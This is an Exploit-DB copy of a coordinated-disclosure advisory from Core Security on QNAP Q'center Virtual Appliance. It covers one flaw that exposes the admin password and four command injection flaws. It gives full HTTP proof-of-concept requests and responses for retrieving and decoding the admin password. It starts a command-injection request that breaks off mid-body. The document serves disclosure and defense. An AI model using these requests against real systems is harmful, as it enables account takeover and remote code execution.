Exploit-DB #45015
Description: QNAP Qcenter Virtual Appliance - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2018-07-13
Author: Core Security

Exploit:
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

QNAP Qcenter Virtual Appliance Multiple Vulnerabilities

1. *Advisory Information*

Title: QNAP Qcenter Virtual Appliance Multiple Vulnerabilities
Advisory ID: CORE-2018-0006
Advisory URL:
http://www.coresecurity.com/advisories/qnap-qcenter-multiple-vulnerabilities
Date published: 2018-07-11
Date of last update: 2018-07-11
Vendors contacted: QNAP
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Information Exposure [CWE-200], Command Injection [CWE-77],
Command Injection [CWE-77], Command Injection [CWE-77],
Command Injection [CWE-77]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-0706, CVE-2018-0707, CVE-2018-0708, CVE-2018-0709,
CVE-2018-0710

3. *Vulnerability Description*

QNAP's website states that:

[1] Q'center Virtual Appliance is a central management platform that
enables you to consolidate the management of multiple QNAP NAS. The
Q'center web interface gives you the ease-of-use, cost-efficiency,
convenience and flexibility to manage multiple NAS, across multiple
sites, from any internet browser.

The platform's provides centralized web-based administration to manage
the following features:

- Review HDD S.M.A.R.T. values
- Monitor system status
- Manage apps and shared folders
- Review infographice reports

Multiple vulnerabilities were found in the Q'center Virtual Appliance
web console that would allow an attacker to execute arbitrary commands
on the system.

4. *Vulnerable versions*

. Q'center Virtual Appliance Version 1.6.1056 (20170825)
. Q'center Virtual Appliance Version 1.6.1075 (20171123)
Other products and versions might be affected, but they were not tested.

5. *Vendor Information, Solutions and Workarounds*

QNAP  published the following Security Note:

. https://www.qnap.com/en-us/security-advisory/nas-201807-10

6. *Credits*

These vulnerabilities were discovered and researched by Ivan Huertas
from Core Security Consulting Services. The publication of this advisory
was coordinated by Leandro Cuozzo from Core Advisories Team.

7. *Technical Description / Proof of Concept Code*

QNAP's Q'center Virtual Appliance web console includes a functionality
that would allow an authenticated attacker to elevate privileges on the
system. We describe this issue in section 7.1.

Sections 7.2, 7.3, 7.4 and 7.5 show different methods to gain command
execution.

7.1. *Privilege escalation*

[CVE-2018-0706]
The application contains an API endpoint that returns information about
the accounts defined in the database. The information returned is
informative for all the users except for the admin user, which cames
with every installation, where an extra field is presented. This extra
field (new_password) contains the password defined at installation time
for the admin user encoded in base64.

Any authenticated user could access this API endpoint and retrieve the
admin user's password, therefore being able to login as an administrator.

The following proof of concept shows a user with viewer access
retrieving the admin's password encoded in base64 in the new_password
field.

/-----
GET /qcenter/hawkeye/v1/account?_dc=[PII_REDACTED]71 HTTP/1.1
Host: 192.168.1.178
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.178/qcenter/
Cookie: CMS_lang=ENG; AUTHENTICATION=0; TIMEZONE_CODE=17;
DST_ENABLE=False; user=viewer; CMS_SID=IV4P74Y16X; ROLE=[PII_REDACTED];
_ID=5a9847223af7e2034924e7b6; LOGIN_TIME=[PII_REDACTED]18; remember=false
Connection: close

HTTP/1.1 200 OK
Date: Thu, 01 Mar 2018 19:23:43 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: application/json
Content-Length: 878
Connection: close

{
"total_count": 2,
"account": [
{
"dst_enable": false,
"name": "admin",
"default": true,
"new_password": "YWRtaW5pc3RyYWRvcg==",
"authentication": 0,
"create_time": {
"$date":[PII_REDACTED]616
},
"role":[PII_REDACTED],
"timezone_code": 17,
"last_login": {
"$date":[PII_REDACTED]797
},
"_id": "5a981b9f3af7e2030c883592",
"email": "",
"description": "administrator"
},
{
"dst_enable": false,
"name": "viewer",
"register_code": "",
"authentication": 0,
"create_time": {
"$date":[PII_REDACTED]332
},
"role":[PII_REDACTED],
"timezone_code": 17,
"last_login": {
"$date":[PII_REDACTED]818
},
"_id": "5a9847223af7e2034924e7b6",
"email": "",
"description": ""
}
]
}
-----/

As can be seen in the following excerpt, the decoded base64 data
corresponds to the plaintext administrator password set at installation
time.

/-----
$ echo YWRtaW5pc3RyYWRvcg== | base64 -d
administrador
-----/

7.2. *Command Execution in change password for the admin user*

[CVE-2018-0707]
When the admin user performs a password change, the application executes
an OS command to impact the changes. The input is not properly sanitized
when passed down to the OS, allowing an attacker to run arbitrary
commands.

/-----
POST /qcenter/hawkeye/v1/account?change_passwd HTTP/1.1
Host: 192.168.1.209
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Referer: https://192.168.1.209/qcenter/
Content-Length: 118
Cookie: CMS_lang=ENG; user=admin; CMS_SID=TWYH7A55X5; ROLE=[PII_REDACTED];
_ID=5a8465ba3af7e2030984c84e; LOGIN_TIME=[PII_REDACTED]47;
AUTHENTICATION=0; TIMEZONE_CODE=17; DST_ENABLE=False; remember=false
Connection: close

{"_id":"5a84